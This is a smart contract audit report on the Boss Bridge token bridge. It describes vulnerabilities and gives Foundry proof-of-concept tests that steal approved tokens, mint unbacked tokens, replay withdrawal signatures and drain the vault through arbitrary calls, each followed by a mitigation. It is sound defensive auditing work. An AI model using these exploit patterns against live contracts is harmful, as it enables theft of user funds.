

Protocol Audit Report

Version 1.0

Bobby's Investigations

April 19, 2024

Protocol Audit Report

Bobby William Major

19 April, 2024

Prepared by: Bobby William Major Lead Security Researcher:

- Bobby William Major

Table of Contents

- Table of Contents
- Protocol Summary
- Disclaimer
- Risk Classification
- Audit Details
 - Scope
 - Roles
- Executive Summary
 - Issues found
- Findings
 - High
 - Medium
 - Low
 - Informational

Protocol Summary

Boss Bridge

This project presents a simple bridge mechanism to move our ERC20 token from L1 to an L2 we're building. The L2 part of the bridge is still under construction, so we don't include it here.

In a nutshell, the bridge allows users to deposit tokens, which are held into a secure vault on L1. Successful deposits trigger an event that our off-chain mechanism picks up, parses it and mints the corresponding tokens on L2.

To ensure user safety, this first version of the bridge has a few security mechanisms in place:

- The owner of the bridge can pause operations in emergency situations.
- Because deposits are permissionless, there's a strict limit of tokens that can be deposited.
- Withdrawals must be approved by a bridge operator.

We plan on launching [L1BossBridge](#) on both Ethereum Mainnet and ZKSync.

Token Compatibility

For the moment, assume *only* the [L1Token.sol](#) or copies of it will be used as tokens for the bridge. This means all other ERC20s and their weirdness is considered out-of-scope.

On withdrawals

The bridge operator is in charge of signing withdrawal requests submitted by users. These will be submitted on the L2 component of the bridge, not included here. Our service will validate the payloads submitted by users, checking that the account submitting the withdrawal has first originated a successful deposit in the L1 part of the bridge.

Disclaimer

The Bobby's Investigations team makes all effort to find as many vulnerabilities in the code in the given time period, but holds no responsibilities for the findings provided in this document. A security audit by the team is not an endorsement of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the Solidity implementation of the contracts.

Risk Classification

		Impact		
		High	Medium	Low
Likelihood	High	H	H/M	M
	Medium	H/M	M	M/L
	Low	M	M/L	L

We use the CodeHawks severity matrix to determine severity. See the documentation for more details.

Audit Details

- Commit Hash: 07af21653ab3e8a8362bf5f63eb058047f562375
- In scope

Scope

```
1 ./src/  
2 #-- L1BossBridge.sol  
3 #-- L1Token.sol  
4 #-- L1Vault.sol  
5 #-- TokenFactory.sol
```

- Solc Version: 0.8.20
- Chain(s) to deploy contracts to:
 - Ethereum Mainnet:
 - * L1BossBridge.sol
 - * L1Token.sol
 - * L1Vault.sol
 - * TokenFactory.sol
 - ZKSync Era:
 - * TokenFactory.sol
 - Tokens:
 - * L1Token.sol (And copies, with different names & initial supplies)

Roles

- Bridge Owner: A centralized bridge owner who can:
 - pause/unpause the bridge in the event of an emergency
 - set `Signers` (see below)
- Signer: Users who can “send” a token from L2 -> L1.
- Vault: The contract owned by the bridge that holds the tokens.
- Users: Users mainly only call `depositTokensToL2`, when they want to send tokens from L1 -> L2.

Executive Summary

I want to keep improving.

Issues found

Severity	Number of issues found
High	5
Medium	1
Info	1
Low	1
Total	8

Findings

High

[H-1] Users who give tokens approvals to L1BossBridge may have those assest stolen

Description The `depositTokensToL2` function allows anyone to call it with a `from` address of any account that has approved tokens to the bridge.

Impact As a consequence, an attacker can move tokens out of any victim account whose token allowance to the bridge is greater than zero. This will move the tokens into the bridge vault, and assign them to the attacker's address in L2 (setting an attacker-controlled address in the `l2Recipient` parameter).

Proof of Concepts As a PoC, include the following test in the `L1BossBridge.t.sol` file:

```
1 function testCanMoveApprovedTokensOfOtherUsers() public {
2     vm.prank(user);
3     token.approve(address(tokenBridge), type(uint256).max);
4
5     uint256 depositAmount = token.balanceOf(user);
6     vm.startPrank(attacker);
7     vm.expectEmit(address(tokenBridge));
8     emit Deposit(user, attackerInL2, depositAmount);
9     tokenBridge.depositTokensToL2(user, attackerInL2, depositAmount);
10
11     assertEq(token.balanceOf(user), 0);
12     assertEq(token.balanceOf(address(vault)), depositAmount);
13     vm.stopPrank();
14 }
```

Recommended mitigation Consider modifying the `depositTokensToL2` function so that the caller cannot specify a `from` address.

```
1 - function depositTokensToL2(address from, address l2Recipient, uint256
   amount) external whenNotPaused {
2 + function depositTokensToL2(address l2Recipient, uint256 amount)
   external whenNotPaused {
3     if (token.balanceOf(address(vault)) + amount > DEPOSIT_LIMIT) {
4         revert L1BossBridge__DepositLimitReached();
5     }
6 - token.transferFrom(from, address(vault), amount);
7 + token.transferFrom(msg.sender, address(vault), amount);
8
9     // Our off-chain service picks up this event and mints the
       corresponding tokens on L2
10 - emit Deposit(from, l2Recipient, amount);
11 + emit Deposit(msg.sender, l2Recipient, amount);
12 }
```

[H-2] Calling `depositTokensToL2` from the Vault contract to the Vault contract allows infinite minting of unbacked tokens

Description `depositTokensToL2` function allows the caller to specify the `from` address, from which tokens are taken.

Impact Because the vault grants infinite approval to the bridge already (as can be seen in the contract's constructor), it's possible for an attacker to call the `depositTokensToL2` function and transfer tokens from the vault to the vault itself. This would allow the attacker to trigger the `Deposit` event any number of times, presumably causing the minting of unbacked tokens in L2.

Additionally, they could mint all the tokens to themselves.

Proof of Concepts As a PoC, include the following test in the `L1TokenBridge.t.sol` file:

```
1 function testCanTransferFromVaultToVault() public {
2     vm.startPrank(attacker);
3
4     // assume the vault already holds some tokens
5     uint256 vaultBalance = 500 ether;
6     deal(address(token), address(vault), vaultBalance);
7
8     // Can trigger the `Deposit` event self-transferring tokens in the
9     // vault
10    vm.expectEmit(address(tokenBridge));
11    emit Deposit(address(vault), address(vault), vaultBalance);
12    tokenBridge.depositTokensToL2(address(vault), address(vault),
13    vaultBalance);
14
15    // Any number of times
16    vm.expectEmit(address(tokenBridge));
17    emit Deposit(address(vault), address(vault), vaultBalance);
18    tokenBridge.depositTokensToL2(address(vault), address(vault),
19    vaultBalance);
20
21    vm.stopPrank();
22 }
```

Recommended mitigation As suggested in H-1, consider modifying the `depositTokensToL2` function so that the caller cannot specify a `from` address.

[H-3] Lack of replay protection in `withdrawTokensToL1` allows withdrawals by signature to be replayed

Description and Impact Users who want to withdraw tokens from the bridge can call the `sendToL1` function, or the wrapper `withdrawTokensToL1` function. These functions require the caller to send along some withdrawal data signed by one of the approved bridge operators.

However, the signatures do not include any kind of replay-protection mechanism (e.g., nonces). Therefore, valid signatures from any bridge operator can be reused by any attacker to continue executing withdrawals until the vault is completely drained.

Proof of Concepts As a PoC, include the following test in the `L1TokenBridge.t.sol` file:

```
1 function testCanReplayWithdrawals() public {
2     // Assume the vault already holds some tokens
3     uint256 vaultInitialBalance = 1000e18;
4     uint256 attackerInitialBalance = 100e18;
5     deal(address(token), address(vault), vaultInitialBalance);
6     deal(address(token), address(attacker), attackerInitialBalance);
7
8     // An attacker deposits tokens to L2
9     vm.startPrank(attacker);
10    token.approve(address(tokenBridge), type(uint256).max);
11    tokenBridge.depositTokensToL2(attacker, attackerInL2,
12        attackerInitialBalance);
13
14    // Operator signs withdrawal.
15    (uint8 v, bytes32 r, bytes32 s) =
16        _signMessage(_getTokenWithdrawalMessage(attacker,
17            attackerInitialBalance), operator.key);
18
19    // The attacker can reuse the signature and drain the vault.
20    while (token.balanceOf(address(vault)) > 0) {
21        tokenBridge.withdrawTokensToL1(attacker, attackerInitialBalance
22            , v, r, s);
23    }
24    assertEq(token.balanceOf(address(attacker)), attackerInitialBalance
25        + vaultInitialBalance);
26    assertEq(token.balanceOf(address(vault)), 0);
27 }
```

Recommended mitigation Consider redesigning the withdrawal mechanism so that it includes replay protection.

[H-4] L1BossBridge::sendToL1 allowing arbitrary calls enables users to call L1Vault::approveTo and give themselves infinite allowance of vault funds

Description The L1BossBridge contract includes the sendToL1 function that, if called with a valid signature by an operator, can execute arbitrary low-level calls to any given target. Because there's no restrictions neither on the target nor the calldata, this call could be used by an attacker to execute sensitive contracts of the bridge. For example, the L1Vault contract.

Impact The L1BossBridge contract owns the L1Vault contract. Therefore, an attacker could submit a call that targets the vault and executes its approveTo function, passing an attacker-controlled address to increase its allowance. This would then allow the attacker to completely drain the vault.

Proof of Concepts To reproduce, include the following test in the L1BossBridge.t.sol file:

```
1 function testCanCallVaultApproveFromBridgeAndDrainVault() public {
```



```
2     uint256 vaultInitialBalance = 1000e18;
3     deal(address(token), address(vault), vaultInitialBalance);
4
5     // An attacker deposits tokens to L2. We do this under the
6     // assumption that the
7     // bridge operator needs to see a valid deposit tx to then allow us
8     // to request a withdrawal.
9     vm.startPrank(attacker);
10    vm.expectEmit(address(tokenBridge));
11    emit Deposit(address(attacker), address(0), 0);
12    tokenBridge.depositTokensToL2(attacker, address(0), 0);
13
14    // Under the assumption that the bridge operator doesn't validate
15    // bytes being signed
16    bytes memory message = abi.encode(
17        address(vault), // target
18        0, // value
19        abi.encodeCall(L1Vault.approveTo, (address(attacker), type(
20            uint256).max)) // data
21    );
22    (uint8 v, bytes32 r, bytes32 s) = _signMessage(message, operator.
23        key);
24
25    tokenBridge.sendToL1(v, r, s, message);
26    assertEq(token.allowance(address(vault), attacker), type(uint256).
27        max);
28    token.transferFrom(address(vault), attacker, token.balanceOf(
29        address(vault)));
30 }
```

Recommended mitigation Consider disallowing attacker-controlled external calls to sensitive components of the bridge, such as the `L1Vault` contract.

[H-5] CREATE opcode does not work on zksync era

Description `TokenFactory::deployToken` used the `CREATE` opcode which is not supported on zkSync Era.

```
1 function deployToken(string memory symbol, bytes memory
2     contractBytecode) public onlyOwner returns (address addr) {
3     assembly {
4         // @audit-high this won't work on ZKSync!!
5         addr := create(0, add(contractBytecode, 0x20), mload(
6             contractBytecode))
7     }
8     s_tokenToAddress[symbol] = addr;
9     emit TokenDeployed(symbol, addr);
10 }
```

Impact This means the `TokenFactory` won't be able to deploy the token contract creating a denial of service.

Recommended mitigation Compilers replace CREATE opcodes with CALL to a system contract `ContractDeployer` providing contract deployment functionality.

The address of the contract is calculated by `address = keccak(CREATE_PREFIX, sender, senderNonce)`.

<https://github.com/matter-labs/era-system-contracts/blob/7658f9a18e4642e04c2e06e9468ca11d48ea1f0/contracts/CL110C3>

Medium

[M-1] Withdrawals are prone to unbounded gas consumption due to return bombs

Impact During withdrawals, the L1 part of the bridge executes a low-level call to an arbitrary target passing all available gas. While this would work fine for regular targets, it may not for adversarial ones.

In particular, a malicious target may drop a return bomb to the caller. This would be done by returning an large amount of returndata in the call, which Solidity would copy to memory, thus increasing gas costs due to the expensive memory operations. Callers unaware of this risk may not set the transaction's gas limit sensibly, and therefore be tricked to spent more ETH than necessary to execute the call.

Recommended mitigation If the external call's returndata is not to be used, then consider modifying the call to avoid copying any of the data. This can be done in a custom implementation, or reusing external libraries such as this one.

Low

[L-1] Lack of event emission during withdrawals and sending tokens to L1

Description Neither the `sendToL1` function nor the `withdrawTokensToL1` function emit an event when a withdrawal operation is successfully executed.

Impact This prevents off-chain monitoring mechanisms to monitor withdrawals and raise alerts on suspicious scenarios.

Recommended mitigation Modify the `sendToL1` function to include a new event that is always emitted upon completing withdrawals

Informational

[I-1] Insufficient test coverage

1	Running tests...				
2	File	% Lines	% Statements	% Branches	
3	% Funcs				
4	src/L1BossBridge.sol	86.67% (13/15)	90.00% (18/20)	83.33% (5/6)	
5	83.33% (5/6)				
6	src/L1Vault.sol	0.00% (0/1)	0.00% (0/1)	100.00%	
7	(0/0) 0.00% (0/1)				
8	src/TokenFactory.sol	100.00% (4/4)	100.00% (4/4)	100.00%	
9	(0/0) 100.00% (2/2)				
10	Total	85.00% (17/20)	88.00% (22/25)	83.33% (5/6)	
11	77.78% (7/9)				